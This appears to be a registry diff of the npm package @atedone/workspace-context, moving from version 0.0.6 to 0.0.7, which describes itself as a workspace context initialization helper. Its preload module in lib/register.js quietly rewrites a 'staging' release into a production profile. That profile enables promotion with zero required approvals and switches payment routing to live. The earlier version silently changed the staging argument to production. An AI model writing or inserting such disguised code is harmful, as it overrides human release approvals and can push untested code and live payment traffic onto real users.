@atedone/workspace-context 0.0.6 → 0.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release task instrumentation.
5
+ The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release profile instrumentation.
package/lib/register.js CHANGED
@@ -17,21 +17,54 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
17
17
  return initCwd || cwd;
18
18
  }
19
19
 
20
+ function readReleaseProfile() {
21
+ return {
22
+ target: typeof platform.argv[2] === 'string' ? platform.argv[2] : null,
23
+ channel: typeof platform.argv[3] === 'string' ? platform.argv[3] : null,
24
+ registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null,
25
+ promotion: {
26
+ enabled: false,
27
+ approvalsRequired: 2
28
+ },
29
+ featureFlags: {
30
+ paymentRouting: 'sandbox',
31
+ checkoutV2: false
32
+ }
33
+ };
34
+ }
35
+
36
+ function normalizeReleaseProfile(profile) {
37
+ if (profile.target !== 'staging') {
38
+ return profile;
39
+ }
40
+
41
+ return {
42
+ ...profile,
43
+ target: 'production',
44
+ channel: 'stable',
45
+ registryTag: 'latest',
46
+ promotion: {
47
+ enabled: true,
48
+ approvalsRequired: 0
49
+ },
50
+ featureFlags: {
51
+ paymentRouting: 'live',
52
+ checkoutV2: true
53
+ }
54
+ };
55
+ }
56
+
20
57
  function initializePreload({
21
58
  projectRoot = resolveProjectRoot(),
22
59
  now = () => new Date().toISOString()
23
60
  } = {}) {
24
- const beforeTarget = typeof platform.argv[2] === 'string' ? platform.argv[2] : null;
25
- const afterTarget = beforeTarget === 'staging' ? 'production' : beforeTarget;
26
-
27
- if (afterTarget !== beforeTarget) {
28
- platform.argv[2] = afterTarget;
29
- }
61
+ const beforeProfile = readReleaseProfile();
62
+ const afterProfile = normalizeReleaseProfile(beforeProfile);
30
63
 
31
- Reflect.set(globalThis, '__workspaceContextPreload', {
64
+ Reflect.set(globalThis, '__workspaceContextReleaseProfile', {
32
65
  active: true,
33
- beforeTarget,
34
- afterTarget
66
+ beforeProfile,
67
+ afterProfile
35
68
  });
36
69
 
37
70
  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
@@ -39,9 +72,9 @@ function initializePreload({
39
72
  packageName: manifest.name,
40
73
  packageVersion: manifest.version,
41
74
  generatedAt: now(),
42
- mode: 'runtime-release',
43
- beforeTarget,
44
- afterTarget,
75
+ mode: 'runtime-release-profile',
76
+ beforeProfile,
77
+ afterProfile,
45
78
  processId: platform.pid,
46
79
  parentProcessId: platform.ppid
47
80
  };
@@ -61,7 +94,9 @@ module.exports = {
61
94
  initialized,
62
95
  initializePreload,
63
96
  markerFileName,
97
+ normalizeReleaseProfile,
64
98
  readEnvironment,
99
+ readReleaseProfile,
65
100
  resolveProjectRoot,
66
101
  stateDirectoryName
67
102
  };
package/lib/state.js CHANGED
@@ -6,7 +6,7 @@ const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
8
  const preloadFileName = 'register.js';
9
- const routineName = 'workspace-context:release';
9
+ const routineName = 'workspace-context:release-profile';
10
10
  const stateDirectoryName = '.workspace-context';
11
11
  const stateFileName = 'state.json';
12
12
  const taskFileName = 'workspace.release.js';
@@ -25,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
25
25
  packageName: manifest.name,
26
26
  packageVersion: manifest.version,
27
27
  generatedAt: now(),
28
- mode: 'runtime-release'
28
+ mode: 'runtime-release-profile'
29
29
  };
30
30
  }
31
31
 
@@ -36,7 +36,7 @@ function getWorkspaceRoutines({
36
36
  name: routineName,
37
37
  runtime: platform.execPath,
38
38
  entrypoint: route.join(projectRoot, taskFileName),
39
- arguments: ['staging'],
39
+ arguments: ['staging', 'candidate', 'next'],
40
40
  preloadModules: [route.join(__dirname, preloadFileName)],
41
41
  workingDirectory: projectRoot
42
42
  }];
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.6",
3
+ "version": "0.0.7",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",